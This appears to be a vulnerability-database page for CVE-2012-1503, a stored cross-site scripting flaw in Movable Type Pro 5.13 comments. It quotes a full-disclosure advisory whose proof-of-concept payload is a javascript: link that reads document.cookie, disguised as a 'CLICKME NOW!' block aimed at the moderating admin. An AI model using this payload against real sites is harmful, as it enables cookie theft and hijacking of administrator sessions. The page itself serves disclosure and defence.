CVE-2012-1503

medium

Published 2014-08-29 · Modified 2026-05-06

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

Cross-site scripting (XSS) vulnerability in Six Apart (formerly Six Apart KK) Movable Type (MT) Pro 5.13 allows remote attackers to inject arbitrary web script or HTML via the comment section.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-22151 webapps php text · 2 KB

sqlhacker · 2012-10-22

Movable Type Pro 5.13en - Persistent Cross-Site Scripting

text exploit Source: Exploit-DB

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Source URL: http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html

Keywords: CVE-2012-1503, Movable Type Pro 5.13en, Stored XSS,
JavaScript Injection, Vendor Unresponsive, Full Disclosure

Introduction

Movable Type (MT) started as one of the industries first blogging platforms
and has developed into an industry leading publishing platform which has
been used globally for more than 10 years. Movable Type makes it simple to
manage entire websites, start new blogs, and build an engaged community of
readers and customers.

Six Apart KK has assumed responsibility over all intellectual property and
business operations of Movable Type, as well as trademark rights of Six
Apart. The new Six Apart, a Japanese corporation formerly known as Six
Apart KK, currently develops, markets and supports Movable Type for a
global user base, and also operates the company's website
(www.sixapart.com). The application can be downloaded from URL
http://www.movabletype.com/download/.

Exploit

Our researchers discovered a persistent XSS vulnerability, allowing an
attacker to inject arbitrary script code into the comment section of any
existing Mt5.13en installation. The blog comment is being moderated before
published; that means an attacker can target the moderating Admin
(employee) via Javascript Injection.

Exploit Code:

<a href=javascript:alert(document.cookie)>
X X X X X X X X X X X X X X X<br>
X X X X X X X X X X X X X X X<br>
X X X X CLICKME NOW!  X X X X<br>
X X X X X X X X X X X X X X X<br>
X X X X X X X X X X X X X X X</a>

Screenshot at URL
http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html

Bug Metrics: CVSS 6.5

Timeline

March 2012 - Email PoC to Vendor via mt-security@sixapart.jp
April 2012 - No Response from Vendor
May 2012 - Email PoC to Vendor via mt-security@sixapart.jp
October 2012 - Full Disclosure

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Version: PGP Desktop 10.2.0 (Build 2599)
Charset: utf-8

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3m5Jr3V2rXVhJRrRwj0ubC4PtfVjIC1YP/k4zY0gA7DOmHhZKk+7Iw==
=JXEo
-----END PGP SIGNATURE-----

Application impact

Vendor	Product	Versions	Fixed
sixapart	movable_type	`5.13`

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.